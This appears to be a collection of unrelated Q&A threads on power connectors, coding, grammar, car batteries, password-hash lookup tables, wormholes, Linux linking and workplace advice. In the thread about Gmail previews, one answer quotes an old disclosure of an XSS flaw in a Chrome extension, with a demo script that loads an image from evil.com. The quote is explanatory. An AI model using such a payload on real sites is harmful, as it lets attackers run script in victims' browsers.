Comment: L6-30R is what I typically use.  If you are fortunate enough to have a full height and extra depth cabinet you can easily fit 2 full length PDUs side by side down the vertical side channel, with each plugged into the UPS or even separate UPS on separate circuits if you are paranoid.  Another thing to note though...don't expect to give up your 120v UPS and PDU.  You'll inevitably end up with peripherals, kvm, or something that still requires 120v and running an orange extension cord just messes up the pretty new cabinet design.  Oh and get ready for a drop in your electric bill...
Answer: As a UK user who only uses 220/240v I'm not aware of what plugs are used in the US but am very familar with the C13/C14 and C19/C20 and I would just like to add:
It is important that you are aware of the limitations of the C13/C14 connectors and when not to use them.
I have seen PDUs that only use C13 lead and high capacity PSUs that care connected to a C13 downstream.
C13 leads are only required to be fitted with wires of 6Amp capacity, and the physical plug is not designed to be used with more than 10Amps no matter what cables and fuses are used. Many C14 connectors will display a maximum current (ampacity) lower than 10 Amps. The C13 specification also only requires it to be able to handle 70 Degrees Celsius. So the 6 amp wires in some cases melt the socket if misused.
C19 on the other hand are designed with 16A in mind however check your cables for their capacity, it is marked if lower than 15A. Also pay attention to C20 sockets at most I see are only rated to 15A or 13A
Comment: +1 This is even more important in 120v systems where the amp draw is double. All the equipment I have has ratings of 5A for C13/C14, and 15A for C19/C20 - basically consistent with what you're saying. Out of curiosity, what do you plug into the wall for ~30A or ~50A?
Comment: As a best practive we use the blue 309 spec http://en.wikipedia.org/wiki/IEC_60309 however older infrastructure still uses British Standards BS 196 connectors ( a throwback to our imperialist past where we dictated most of these standards) and Lewdens http://en.wikipedia.org/wiki/Industrial_and_multiphase_power_plugs_and_sockets#UK:_Lewden_plugs although 95% of the time its the IEC standard, you buy these to spec
Answer: Your equipment is using C13/5-15P power cords plugging into NEMA 5-15R receptacles on your existing 120v PDU. The 240v PDU is going to have IEC C14 receptacles, so you'll need IEC C13 to C14 power cables.


Syntax Highlighting

Question: I created a Summer project for myself and decided that I wanted to write a simple text/code editor. I think everything has been going well so far. I created a basic GUI and can do simple operations like Open, Save, and Create files.
Right now I am doing syntax highlighting by reading the words as I open a file but this has turned out to be really messy and it doesn't highlight the syntax if someone is just typing in the GUI.
So I'd like some ideas of how to go about syntax highlighting so that it works for both opening files and typing in the window.
Also, if anyone has any time I'd love to hear comments about my code, this is the repository: https://mcmillhj.beanstalkapp.com/jtexteditor/browse
The main files are JTextEditor.java and ui/JTextEditorUI.java
Comment: Have you looked at the [Highlighter](http://download.oracle.com/javase/6/docs/api/javax/swing/text/Highlighter.html) and [HighlightPainter](http://download.oracle.com/javase/6/docs/api/javax/swing/text/Highlighter.HighlightPainter.html) classes? There's an example in the [How to Use Text Fields](http://download.oracle.com/javase/tutorial/uiswing/components/textfield.html) tutorial.
Comment: Maybe I shouldn't have used the term highlighter, it seems ambiguous now that I think about it. Those classes literally highlight the text that you want. I just want to make the keywords different colors from the regular words. sorry for the confusion. Thank you for your link.
Comment: I appreciate the clarification! :)
Answer: I think you should start reading about lexical analysis , you can also use JLex for getting tokens from the content of the file ... you should also read a bit about compilers (which is not going to be easy)
Comment: yes ... or if you don't like to tokenize and search through the tokens in two different steps, you can tell the GUI about the place of the tokens while parsing, to highlight it (using an observer pattern or something, by notifying the observer when a token is found) which would probably take less time than doing it in different steps.
Comment: I have used something similar called JFlex to create a tokenizer for an interpreter I wrote. So you're saying I should tokenize the entire contents of my file then step through the tokens searching for keywords and such? Thank you for your link by the way.

Syntax Highlighting


"Didn't take" vs "Haven't taken"

Question: I'm working on an animation and I need some help. There isn't much dialog but I'm confused about a phrase in particular: one of the characters is waiting for her friend to come from another country. She expects him to come by plane but instead he chooses a way longer journey by boat. She's surprised and when he finally arrives she asks him why he didn't take the plane instead. So which one would sound more natural? "why didn't you take the plane" or "why haven't you taken the plane?". What do you think?
Thank you :)
Comment: Unless you actually *need* the Perfect, it's nearly always more idiomatic to stick with Simple Past. Almost all non-native Anglophones overuse Perfect verb forms in English.
Comment: I would find "Why didn't you come by air?" or "Why didn't you fly?" more idiuomatic.
Answer: Past simple is your best choice! The fact that the person hasn't taken the plane does not matter anymore, which means that the question is asked out of curiosity. Past simple is usually better for questions related to non-relevant context, meaning "I just want to know" vs "I really need to know"

"Didn't take" vs "Haven't taken"


What is the correct method to delete a variation subsite (label) in SharePoint 2010?

Question: What is the correct method to delete a variation subsite (label)  in SharePoint 2010? Is just deleting the label from the variation labels page and then deleting the sub web enough? what will happen to the relationships list?
Answer: I found the following link to be relevant. If an expert on the matter can confirm it would be of great help.
https://sites.google.com/site/icsharepoint2010/desarrollo/sharepoint-variations#TOC-Deleting-Restoring-a-Publishing-Site


Efficiency of Parcelable for inproc communication

Question: I want to pass a huge object (e.g. Bitmap) from one activity to another inside one process. If I put it into the Bundle as Parcelable, will Android really serialize the object or pass it by reference?
Answer: Android uses a Parcelable object when it transfers the information from one process to another. In this case, it at first parse the object into primitives and then send them to a remote process. So as (usually) two activities of the same application is running in the same process, there is no need to parse the object. Here I found that in your case it will be created a weak reference to your object and it will be passed to the second activity. If you have activities in different processes (e.g. within different applications) then your object will be parsed and sent to the second process (and in this case it will be sent by values, I guess).


The car continues clicking when the key is turned, but the car would not start

Question: The car continues clicking when the key is turned, but the car would not start..
Please click here to see the symptom I recorded.
Answer: Flat battery.  Your battery has no charge in it.
It has enough to power up the instrument panel, but as soon as you turn the key, this happens:

The starter solenoid pulls in, connecting the motor to the battery.
The motor places a HUGE 500 amp load onto the battery.
The battery cannot supply that load, so voltage drops to like 2 volts.
The starter solenoid can't hold on 2 volts, so it lets go.
The 500A load is removed from the battery.
Battery voltage recovers.
Go back to the top and repeat over and over.

The fix is to put a battery charger on it, and charge it back up to full.  A 10 amp battery charger is adequate, and they are cheap.  I would use the battery charger all the way to full - expect 10 hours on a new battery - because then, you can see for yourself how much capacity the battery has.  When it is full, the charger amps will reduce, and listen carefully and you may hear boiling happening in the battery.
The capacity strongly indicates the health of the battery (ability to start an engine).  If it "fills" after 30 minutes, that means it no longer has much capacity, and the battery is probably done for.
Is it time?
If your battery is over 5 years old, or over 3 years old and frequently abused, then you don't really need to a lot of hard math here. That is about the useful life of a lead-acid battery.
Occam's Razor says the simplest explanation is the most likely: your battery is simply at the end of its normal life. This failure is expected. Lead-Acid Starting batteries are "wear-out" parts like brakes.  This is no reflection on electric vehicles, which use a very different type of battery.
I mention that because a new battery is around $150, but paying a mechanic to tell you that is $200 lol.  Very unnecessary if you did the above capacity test.
A car battery weighs about 60 pounds/30 kilo. Installing it is a simple affair. Many stores who sell batteries will install for free. In my area, the AAA auto club will deliver the battery to wherever you are and install it for free, as a member benefit.
Why do they do this? Why not make a battery that lasts the life of the car?  You know, like electrics have. COST.  Lead-acid is a shabby battery in all respects but two: First it's uncannily good at surge power (to crank over an engine. Second, it's dirt cheap.  In other words, lead-acid is so cheap that it's cheaper to replace the battery 2-3 times in a car's lifetime than it is to buy a quality battery of another technology.
Now you know why EVs don't use lead-acid (the starting current wouldn't help them anyway).
Answer: Get your battery checked. Sounds like it doesn't have enough juice to start the car.


Can someone please explain reverse look up tables?

Question: Im finding it difficult to understand reverse look up tables and how it works, and the concept of hash chains. This is apart of a computer security model i am taking.
So i understand that brute force, dictionary attack and look up table take up a lot of time, and store all options and then search through all the database. however reverse look up tables addresses this problem, and sacrifices time for storage. But how this happens i am getting confused.
Many thanks
Comment: Could you explain more about what your understanding of the reverse lookup tables are? how they are used? Have you talked with your instructor about it (often they have key pieces of information that are necessary for later tests and can help point out existing information in the existing resources for the class)?
Comment: So i understand that brute force, dictionary attack and look up table take up a lot of time, and store all options and then search through all the database. however reverse look up tables addresses this problem, and sacrifices time for storage. But how this happens i am getting confused.
Comment: Could you put that in your question (and elaborate on it a bit more - given your understanding of this, why *don't* you understand reverse lookup tables - since your comment appears to be a sufficent answer too)?
Comment: I've added that information the question, and i want to understand how it works if that makes sense? how does it sacrifice time for storage and the process off using and creating a reverse look up table
Answer: Let's say you want to crack passwords which are stored as MD5 Hashes (This is very old technology). Since brute force takes a real long time, and this function is "non-reversible", then the attack is the Reverse Lookup table.
The idea is that you create a table storing what you enter as input and the hash it generates. After you run your routine with as many inputs you think are valid, you can then attack the password file with a reverse lookup table:  you browse your database browsing not by the password but for what Hash matches.
Reverse lookup then, is simply not looking by the same input, but for inputs which generate the same output. For example:
input | Hash generated

admin |  21232f297a57a5a743894a0e4a801fc3

Instead of looking for the admin string, in your table you would be looking by the string which matches the hash 21232f297a57a5a743894a0e4a801fc3.
For more details, look for Raibow tables in the wikipedia, I think you will note that they are not exactly the same, but in the article you can find the difference between both.
How it sacrifices time for storage?
The idea is that you would need a full database with the data as similar to the one above, and this is storage. The time per query, is only a B-tree lookup (O(log n)) on the database, since the key could be the hash. This does not mean that to generate the table you don't spend time. It just means that once you have the database, you can query it in a very small time.


Regression models similar to Random Forest

Question: I am trying to create an ensemble model. I tried some classical models, in which  RandForest's accuracy is around 85% and other models like Decision trees, NNet has accuracy from 35%-63%. So I need some models which are close to the working of Randforest or its variants.
I am using R and my model is a Regression Model
Comment: Check out RWeka package... it has all the decision tree based classifiers which are similar to Random Forest. Also if your Nnet is performing poorly it must be because of poor training or poor architecture. NNet output should be same if not better than Random Forest, as neural network can theoretically simulate any function given sufficient training and network size.
Comment: Try the xgboost package. It has gradient boosted trees, which is an ensemble model and a generalization of adaboost, using trees as the weak classifier. In addition, there is the generalized boosted regression model package, gbm, and the original adaboost is in the ada package. The advantage xgboost has over gbm is speed. Xgboost also support using linear models as the weak classifier.
Answer: I would suggest to go with the "Extreme Gradient Boosting" which is based on Gradient Boosting method, but instead of using only linear model solver, it includes tree based algorithms too. It has become go-to method in Kaggle competitions for regression analysis surpassing Random Forests. Check out Anthony Goldbloom's talk about "how to win Kaggle competitions".
If you are using R, go with "xgboost" package which implements Extreme Gradient Boosting algorithm. I was able to to reduce RMSE of my prediction by 10 times compared to that of RF.


Resetting address variables

Question: How do you reset an address variable in Solidity? You cannot assign it Null or 0 but I want to be able to "deassign" an address somehow. Any ideas?
Comment: With 0x? Or 0x....0 ?
Answer: A solution similar to the following should work:
contract Test {
    address public someAddr;
    function nullifySomeAddr() {
        someAddr = address(0);
    }
}

The above code snippet will set the someAddr variable to its default type, the all 0 address (0x000000000000......)
Answer: There's no null in Solidity, but you can assign an address to 0x0
This is practically just 0 written in hexadecimal notation.
0x0 is essentially an abbreviation for the genesis address 0x0000000000000000000000000000000000000000, which most likely nobody has the private key for, so I've seen that being used for nullifying an address.
Have also a look at this: https://ethereum.stackexchange.com/a/18427/43751

Resetting address variables


Indicating the probability that a weather datum is above/below some given value on a geographic map

Question: With help of the previous questions here, I am analyzing weather data as daily MeanWindSpeed of some cities with the following code:
  {date, year, month, day, wind} = {1, 1, 2, 3, 2}

  cityWind1 = WeatherData["Bodo", "MeanWindSpeed", {{1973, 1, 1}, {2013, 5, 1},"Day"}];
  cityWind1[[All, date, year]] = 0

  slowWinddays1 = Select[cityWind1, #[[wind]] < 21 &];
  DateListPlot[{cityWind1, slowWinddays1}, ImageSize -> 600]

I have two problems.

I want to calculate the probability of the days that mean wind speeds higher than 21 km/hr and show it in the plot. It could be monthly or weekly outlet. I know the algorithm is too easy, but sorry guys I am new in town!
Most important, how can I show this probability in different geographic regions based on data from the available stations of that region. For example, assign a color to Norway and vary intensity to indicate the probability on the geographic map. That is to say, the more intense the color, the higher the probability.
Comment: I some some problems with your post: 1) you mentiona a previous question, but don't provide a link to it. 2) you talk about the probability the wind speed exceeds a certain value, but your code selects cases where the wind speed is below that value 3) I have no idea what "It could be monthly or weekly outlet" or "probability of the days that mean wind speeds higher than 21 km/hr" mean.
Comment: Hi,1-The link is provided 2-no problem!! you can calculate either lower than or higher than probability.3- Look at the link you will find what I mean.
Answer: Here's a quick answer for your first question (I'll let someone else handle the mapping (that's a lot of data to sort through).
Let's look at the wonderful (cough) city of Houston.
winddata = WeatherData[{"Houston", "Texas"}, "MeanWindSpeed",
   {{1973, 1, 1}, {2013, 5, 1}, "Day"}];

Gather those values by day:
daysorted = GatherBy[winddata, #[[1, {2, 3}]] &];

Calculate the probability of each of those days exceeding a certain wind speed:
windspeed = 10;
probs = Most[Probability[x >= windspeed, x \[Distributed] #[[All, 2]]]& /@  daysorted];
dates = Most@daysorted[[All, 1, 1]];
plotprobs = Transpose[{dates, probs}]; (*prepare for plotting*)

Plot away:
winddata[[All, 1, 1]] = 0;
slowWinddays1 = Select[winddata, #[[2]] < windspeed &];
plot1 = DateListPlot[plotprobs, Joined -> True, ImageSize -> 600];
plot2 = DateListPlot[{winddata, slowWinddays1}, ImageSize -> 600];
Column[{plot2,plot1}]

Aside: Yes, you don't have to use Probability, but why not?
Comment: Hi.Many thanks!But I think we have not some data in some places and thats the reason in some area we might have missing `Probability` .Am I right?BTW how can I add all months abbreviations to the plot?
Comment: As I read the plots, you have posted them in the order `plot2` above by `plot1`, while your code displays them in the order `plot2` above `plot1`. Suggest you edit to change the order.
Comment: @m_goldberg, Aye, good call, I'll swap them in code...
Answer: A hint for the mapping thing:
d = {2013, 5, 1};
cords = Select[Reverse[CityData[#, "Coordinates"]] & /@ CityData[{All, "Norway"}], Head@# == List &];
Show[ListContourPlot[Join@@ {#,List@WeatherData[#,"MeanWindSpeed",d,d,"Day"}][[1, 2]]} & /@ cords],
     Graphics[{Gray, Opacity[.5], CountryData["Norway", "Polygon"]}]]

Comment: belisarius thanks for the hint.Could you please show at least one day on the map?I think hint needs some hints!Please check
Comment: MANY THANKS!!!It was all!!
Comment: how can I show `ContourLabels` and `PlotLegends` on the map .it doesnt show that


My ps4 is making me look up for no reason

Question: It just keeps looking up even when the controller is not moving? It happens on all games and i tried resetting the controller but it didn't work. I'm pretty sure its not the controller.
Comment: It's usually a stick drift to do with the controller. You can test by pairing your dualshock with a PC and using [gamepad viewer](https://gamepadviewer.com/) to confirm
Comment: Lock up perhaps? Please can you add more details to your question
Comment: to david yell, basically my controler's analog sticks are not moving but my character still keeps looking up. I dont really know though :/
Comment: To ben, i dont have a pc sadly :/
Answer: You're likely experiencing controller drift. As Ben indicated, if you can get access to a PC this is easy to verify.
Modern controllers, especially those shipped with a console, are not built in a very durable fashion. Stick drift is a very common problem with heavy use.
So what can you do? Subsequent steps if a reset does not appear to function:

Re-attempt the reset. Make sure you hold the button down for a good half-minute or so before proceeding.

Are you still within the warranty period? Is the controller undamaged? Have your controller replaced. If not, proceed further.

Try using compressed air to clean the apertures at the base of the stick from outside. Try resetting again and see if you still experience drift.

If you have access a screwdriver: Open up the controller and clean the inside. Try again.

If you have access to tweezers, watchmaker screwdrivers, a good work surface, and so on: Take apart the controller and physically replace the stick(s). To do this you will need to disassemble the controller (temporarily remove the battery and part of the electronics inside). Sticks are quite cheap, but the necessary equipment may end up costing more than a new controller. You can easily google for instructions. Here's one such tutorial with pictures.

Trash it and buy a new one.
Answer: You can try to Hard Reset the controller with a pin. There's a little hole behind the controller. Have a look here for instructions
https://www.lifewire.com/how-to-reset-ps4-controller-4174025#mntl-sc-block_1-0-49


Can't post onto the activity stream of a Facebook page

Question: I am using the Koala gem. I am trying to post something to a Facebook page, which I have authentication to.
<code>client = Koala::Facebook::API.new(authentication.token)
client.put_object(authentication.uid, 'og_app_name:post', { :something => link })
</code>
This works if I am posting to an individual profile. But posting to a Facebook page, does nothing. No error is reported. The same behavior is also evident when posting from SoundCloud.
I don't know if this is because Facebook recently introduced "timeline" to their pages. Possibly a bug somewhere?
Anyone having the same issue?
Answer: Are you trying to post Open Graph actions on behalf of a page?
That functionality doesn't exist, only users can post actions


How long would it take to travel through a wormhole?

Question: Assuming wormholes exist and you put some matter into one, how long would it take to reach the other end versus how far apart the two ends are? Basically, by how much does a wormhole stretch spacetime?
Comment: Also, for the benefit of other readers: if a question is not well defined because it relies on some idea for which there is no accepted model, then saying "assuming [idea] is true" doesn't make it any more appropriate.
Comment: That's why I wrote "Assuming wormholes exist". It's theoretical physics, but not any less credible than string theory. I'm just wondering what these objects would be like if we happened to discover that they do occur in nature.
Comment: This comes close to our prohibition on fictional physics in the [FAQ#questions]. But I know that the possibility of real wormholes is studied in GR, and I'm not sure how much is known about them, so I'll refrain from closing this without getting some feedback from someone who knows about that area of research.
Comment: The issue is not with credibility or with how well a theory corresponds to reality, but whether it's possible to create a mathematical model that answers the question based on mainstream physics research. If a question is based on such a model, it's fine, even if the model doesn't exactly correspond to reality. The prohibition on fictional physics is really about keeping ill-defined questions off the site.
Comment: Through a wormhole to the ban.
Answer: There's a recent popularization of wormhole physics that nicely lists the properties of the four wormhole examples that Morris and Thorne considered in Appendix A of their 1988 paper ("Wormholes in Spacetime and their use for interstellar travel: A tool for teaching general relativity").  These properties include traversal times.  Here's a summary

Infinite-Exotic-Region Wormhole
(exotic matter distributed throughout space)        ~ 1 hour
Large-Exotic-Region Wormhole
(exotic matter confined to large finite radius)           $\geq$ 7 days
Medium-Exotic-Region Wormhole
(exotic matter loosely restricted to throat)         ~ 200 days
Small-Exotic-Region Wormhole
(exotic matter closely restricted to throat and must have negative mass)         $\geq$ 0.7 seconds

Morris and Thorne referred to the last example as "absurdly benign".  It is not dissimilar to the thin-shell wormholes considered by Visser. In fact, some of Visser's thin-shell wormholes are a special case of the Morris-Thorne Type 4 "absurdly benign" class!
These times are completely independent of the distances between the mouths of each wormhole in normal space.
Sources:
"The Physics of Stargates: Parallel Universes, Time Travel, and the Enigma of Wormhole Physics" by Enrico Rodrigo (2010), Chapter 5.
Visser, M. (1989). Traversable wormholes from surgically modified Schwarzschild spacetimes. Nuclear Physics B, 328(1), 203-212.
Visser, M. (1989). Traversable wormholes: Some simple examples. Physical Review D, 39(10), 3182.
Morris, M. S., & Thorne, K. S. (1988). Wormholes in spacetime and their use for interstellar travel: A tool for teaching general relativity. American Journal of Physics, 56(5), 395-412.
Comment: Quick comment on whether wormholes are physical:  We can NOT assume that physical = "does not violate the Weak Energy Condition".  There are quantum states that are clearly physical that nonetheless violate all proposals for an energy condition that defines physicality (including the WEC). Moreover, it's possible to eliminate destructive feedback-loops and time-travel paradoxes associated with traversable wormholes by invoking the Many Worlds interpretation. So the goal of current research is to prove the nonexistence of wormholes, or deal with the outlandish consequences of their existence.
Comment: do you have the distances for those wormholes??? Thanks for the times!
Comment: @Belizean: I think you are being glib regarding the WEC. The examples you are thinking about where quantum fields violate WEC are likely the cases where you have a shrinking black hole, so that the renormalized stress-energy tensor on the black hole surface must allow the surface area to shrink, and so violates WEC in this sense. But this process must be described in a string theory completion (or some other quantum gravity theory), and it is pretty clear just from no-information loss that you aren't going to get stuff to go anywhere far away.
Comment: As for resolving time-travel with many worlds, that's completely speculative--- you need to ensure that there is a well defined many-worlds on a CTC background, and I don't see why that should be so, considering that the path integral does not have initial and final surfaces to slice along. If you know how to resolve a path integral on a CTC background, please tell, but I think it is just as difficult as resolving the classical time travel issues.
Comment: @Ron Maimon:  The examples I'm thinking of have nothing to do with black holes.  It was [recently noticed](http://arxiv.org/abs/0910.5925) that you can always find a quantum state of a simple scalar field that violates the NEC (and therefore the WEC) to an arbitrary degree in a conformally flat spacetime.   Regarding quantum mechanics and CTCs, [a consistent formulation of quantum theory in the presence of CTCs](http://prd.aps.org/abstract/PRD/v44/i10/p3197_1) was put forward over 20 years ago.  It was necessary to base it on Many Worlds Interpretation in order to eliminate paradoxes.
Comment: @Belizean: The first paper you link to is using a conformal modification of the standard stress energy tensor, and is working in a background gravitational field. This does not mean that the scalar field violates NEC, but it might indicate that conformal coupling of scalars is unphysical. I don't know. It is not evidence for realizability of NEC violations (although the shrinking black hole is). The second paper you link to is a bit speculative, I'll get back to you after I get a chance to read it. Thanks for the links.
Answer: Standard reference for wormholes:
Visser's book
Excellent Wikipedia page:
Wormholes
From Wikipedia  page:
"Wormholes which could actually be crossed, known as traversable wormholes, would only be possible if exotic matter with negative energy density could be used to stabilize them. (Many physicists such as Stephen Hawking,[1] Kip Thorne,[2] and others[3][4][5] believe that the Casimir effect is evidence that negative energy densities are possible in nature.)"
The paper which started the whole "traversable wormhole research in the 80's-90's" is written in a very pedagogical style:
Morris, Michael S. and Thorne, Kip S. (1988). "Wormholes in spacetime and their use for interstellar travel: A tool for teaching general relativity". American Journal of Physics 56 (5): 395–412.
Given the above background info, the answer to your question is:
A traversable wormhole is basically a "hollow handle"  which you can use to reach two different parts of the universe. It is like a tunnel, BUT there is no definite relation  between the "length" of this tunnel (or the time you/light rays need to travel thru it) and the "distance" between its mouths (entry/exit points) as measured in the space-time outside the wormhole.
Put it in another way: we can find a solution to the Einstein's eqs with a wormhole connecting two areas in space-time a few light years apart or many 1000's light years apart.  Basically: given the desired G tensor, we can find the appropriate T tensor (that is the appropriate energy-matter distribution) so that the wormhole can be comfortably traversed by a human (or a light ray) in a short time (hours, for ex.).
Comment: This is accurate in describing the idea, but it is no good as physics. Such a traversable wormhole can be boosted, and using two copies of such wormholes, you can make a time machine. Any geometry can give you a stress-energy tensor, but only if the matter satisfies at least the weak energy condition can you call it physical. The traversable wormholes are not physical in this regard, and the time-machine argument tells you that this is so for fundamental reasons.
Comment: @RonMaimon Absolutely, that's why I quoted the exotic matter paragraph. CTC (closed timelike curves) are another problem. But the OP was asking a very specific fact, _assuming that wormholes exist_. So the question appears to me more mathematical than physical
Comment: We agree, but just to be clear-- the original wormhole idea of Einstein and Infeld(?) is that you have a black-hole white-hole linked together. This thing is possibly physical if both are at the same place, and possibly describes real astrophysical rotating black holes, although in the Einstein et al analysis, the two were distantly separated. This is the reason for my answer. I have no problem with your answer now that you explained.
Answer: Kip Thorne, Matt Visser and others have modeled traversable wormholes requiring exotic matter. Dark energy is a form of exotic matter if it could be harnessed and amplified.
What that would do to the information loss issue and the validity of unitarity in S-Matrix theory is, of course, a valid issue as pointed out above.
See Matt Visser's book "Lorentzian Wormholes"
Comment: Visser's book is the standard reference on wormholes.
Answer: Wormholes linking distant spacetime points are forbidden in string theory (as far as we know) and in modern gravity, because you would be able to make information loss in a local region by dumping one of two entangled pairs into the wormhole, and letting it come out elsewhere.
But a black hole attached to a white-hole (the classical wormhole) is possibly the correct view of all spinning and charged black holes in string theory. In this case, travesing the wormhole from your point of view will take a small amount of time, crossing the outer event horizon and the inner Cauchy horizon, then turning around and crossing out the white hole. You should emerge to the future of when you entered (in a loose sense, it is not possible to be strictly to the future in an eternal black hole picture), but nobody knows how such an emergence might work, because the classical model does not identify the white hole and black hole horizons.
The quantum mechnical model does identify the two event horizon types, but since this identification becomes invalid classically, the time to emerge should be long on a classical time scale, going as 1/hbar or some power. This is not justified by any precise calculation--- it is also possible that once you cross the black hole, you are just irreversibly trapped. I don't believe this possibility, because the irreversibility would then be independent of temperature, which is different from other cases where irreversibility is observed.
Comment: @John: The wormhole is not shortening any travel time--- you aren't going anywhere. It is the time between absorption and reemission in a black hole. I personally can't get the answer, and I know it is not in the literature, but we know how to calculate it in theory, and it is just my own failing that I don't know the answer today. I think about it from time to time.
Comment: "This is not justified by any precise calculation" so you're saying that our math doesn't let us calculate just how much a wormhole shortens travel time? What about in General Relativity?
Comment: Do you have a citation on the objection from information loss?
Comment: @mike4ty4: Do I ever give a citation for anything? It's easy to see for yourself.


Does Gmail's 'preview' feature for documents in the browser prevent malware?

Question: I'm concerned about opening attached Word documents and other files (images, PDFs, etc). Gmail has a feature that previews these in the browser for you in a popup, without leaving the Gmail screen - it looks like they've rendered images of the document in some way and are showing these instead. Is there any risk of malware if you view documents this way?
Comment: It would prevent exploits aimed at MS Word vulnerabilities, but could potentially exploit vulnerabilities in Gmail's preview feature.
Answer: It will prevent any exploitation of any vulnerabilities unique to the application that you would use to normally open the attachment (e.g. Adobe reader, image viewer, etc).
It will not prevent exploitation of vulnerabilities in the browser due to rendering the attachment (although this would hard as the attacker would have to create a browser exploit that works with the specific implementation of the previewer that Google are using).
And it will not prevent exploitation of vulnerabilities in any algorithms or libraries shared with the previewer and your usual application. However, for the preview, again the attacker would need to craft the attachment in a specific way to not only exploit the library, but to have this exploit then generate the appropriate browser exploit. The browser exploit could take the form of a simple attack vector such as an XSS attack though, which would be easier to achieve.
Answer: When you open an attached document on Gmail using the preview mode (if I may say so), you are safer because it is just an image of the attachment; you can imagine this image as a screenshot, I mean opening the document that way makes you safer because it does not include the functionalities of the original document:

However, a similar functionality is offered by Google Mail Checker Plus extension, it previews a file in a pop-up window as you described it. Previewing the file that way does not expose you to a risk, just like in the functionality described above, however (a case that reflects @shroeder's comment to your question) I reproduce to you an example of vulnerability that was exploited in the past allowing an XSS attack:

Lets look on popular (18,368 installations per week) extension called
  "Google Mail Checker Plus" [#]. This extension simply displays the
  number of unread messages in your Gmail inbox,  can make preview of
  mail and supports desktop notifications.
.. figure::
  http://oxdef.info/papers/ext/img/google_mail_checker_plus.png
Mail preview in popup of Google Mail Checker Plus

On preview we can see at least subject, from and piece of body of
  letter.  Ok, lets send to us self letter with subject like: ::
2"'>

own.js is simple javascript demo payload: ::
document.body.innerHTML = '';
img = new Image();
img.src = 'http://evil.com/stallowned.jpg';
document.body.appendChild(img);

For the first we see such notification:
.. figure::
  http://oxdef.info/papers/ext/img/gmail_checker_xss_notificate.png
XSS in Google Mail Checker Plus notification part

For the second we click on extension's icon and see our worked payload
  in popup window:
.. figure:: http://oxdef.info/papers/ext/img/gmail_checker_xss.png
XSS in Google Mail Checker Plus

It works! By the way this XSS has been already reported_ by Lostmon in
  June 03, 2010 and fixed version of extension is available. Lostmon wrote that:  "All extensions runs over his origin and no have way to
  altered data
      from extension or get sensitive data like , email account or password
      etc.."
Let's discover this web vulnerability in context of this extension
  to understand risks.
.. [#]
  https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
  .. _reported:
  http://lostmon.blogspot.com/2010/06/gmail-checker-plus-chrome-extension-xss.html
  .. _notifications:
  http://www.html5rocks.com/tutorials/notifications/quick/
Comment: Why do you say `it is just an image of the attachment`? When I look at a PDF attachment in Gmail it looks like it's been converted to HTML for display. There certainly could be a vulnerability in that process that leads to an XSS or something.
Comment: The XSS attack in Google Mail Checker Plus is nothing to do with the OP's question.


Where shared object is located in Linux

Question: I want to know, where .so file information got stored in linux? I am looking for libruby.so.2.6.
When I searched in internet, ld.so first starts the search with LD_LIBRARY_PATH and then it will look for ld.so.conf file and cache files and then the default paths like /lib and /usr/local/lib.
In my case ruby got installed in /opt/puppetlabs/puppet/root/bin location and when I executed ldd /opt/puppetlabs/puppet/root/bin, got the location of the libruby.so as /opt/puppetlabs/puppet/lib/libruby.so.2.6.
Now I am able to get the location of the shared object, but I would like to know from where it got the details? I have checked the ld_library_path and ld.so.conf file, I could find that entry. Could someone please help me to get this detail?
Answer: The man page for ldd says:
   In the usual case, ldd invokes the standard dynamic linker (see
   ld.so(8)) with the LD_TRACE_LOADED_OBJECTS environment variable set
   to 1.  This causes the dynamic linker to inspect the program's
   dynamic dependencies, and find (according to the rules described in
   ld.so(8)) and load the objects that satisfy those dependencies.

The man page for ld gives the explanation of the rules:
   When resolving shared object dependencies, the dynamic linker first
   inspects each dependency string to see if it contains a slash (this
   can occur if a shared object pathname containing slashes was
   specified at link time).  If a slash is found, then the dependency
   string is interpreted as a (relative or absolute) pathname, and the
   shared object is loaded using that pathname.

   If a shared object dependency does not contain a slash, then it is
   searched for in the following order:

   o  Using the directories specified in the DT_RPATH dynamic section
      attribute of the binary if present and DT_RUNPATH attribute does
      not exist.  Use of DT_RPATH is deprecated.

   o  Using the environment variable LD_LIBRARY_PATH, unless the
      executable is being run in secure-execution mode (see below), in
      which case this variable is ignored.

   o  Using the directories specified in the DT_RUNPATH dynamic section
      attribute of the binary if present.  Such directories are searched
      only to find those objects required by DT_NEEDED (direct
      dependencies) entries and do not apply to those objects' children,
      which must themselves have their own DT_RUNPATH entries.  This is
      unlike DT_RPATH, which is applied to searches for all children in
      the dependency tree.

   o  From the cache file /etc/ld.so.cache, which contains a compiled
      list of candidate shared objects previously found in the augmented
      library path.  If, however, the binary was linked with the -z
      nodeflib linker option, shared objects in the default paths are
      skipped.  Shared objects installed in hardware capability
      directories (see below) are preferred to other shared objects.

   o  In the default path /lib, and then /usr/lib.  (On some 64-bit
      architectures, the default paths for 64-bit shared objects are
      /lib64, and then /usr/lib64.)  If the binary was linked with the
      -z nodeflib linker option, this step is skipped.

Where shared object is located in Linux


Asking for a promotion after 1.5 years

Question: I started my Job about a year ago and in the space of one year, I have demonstrated my abilities in the organisation, I have also completed a designation. all my colleagues and leadership team are well aware of my performance. I was thinking of asking for a promotion during my yearly review by the end of the year, this isn't only about the money, I honestly believe I am ready for position I am asking to be promoted to. I am worried if 1.5 years is too soon to ask for a promotion.
Comment: It isn't about you, it is about the company. If you can make a case that they will be better off with you promoted, you have a fighting chance. Otherwise look for a promotion elsewhere, in my experience changing jobs is usually easier to get promoted or get a salary bump.
Comment: We can't help you decide what to do because the situation is unique to you. We don't know your company, boss, the culture of the company, etc. My advice would be to go ahead and ask .. the worst that can happen is that you would be declined. If you're getting bent out of shape about whether you deserve the promotion then maybe you're not ready for more responsibility. If instead you demonstrate confidence, you stand a good chance to get what you're gunning for. Strangers on the internet can't help you.
Comment: Also, you don't *ask* for a promotion, you have a discussion with your boss, state your intentions (you want to be promoted), and ask them what you need to do to make that happen. Outside of small(er) companies, promotions very rarely happen on the spot. There is almost always a (sometimes lengthy) period of laying groundwork beforehand.
Comment: Related - [How should I approach my boss about a raise/promotion?](https://workplace.stackexchange.com/questions/207/how-should-i-approach-my-boss-about-a-raise-promotion)
Answer: It's never too soon. As soon as you prove you're worth the investment, it's a good time to ask.

I have demonstrated my abilities in the organisation, I have also completed a designation. all my colleagues and leadership team are well aware of my performance

Sounds like you've already done that. Small nitpick, just because your abilities are great doesn't mean they bring value to the company, but that's just me being pedantic. Bring your I'm awesome1 file with you, and good luck

1 Every time you do something great, you put it in this file. When it's time for review, you pull it out to show what you've achieved
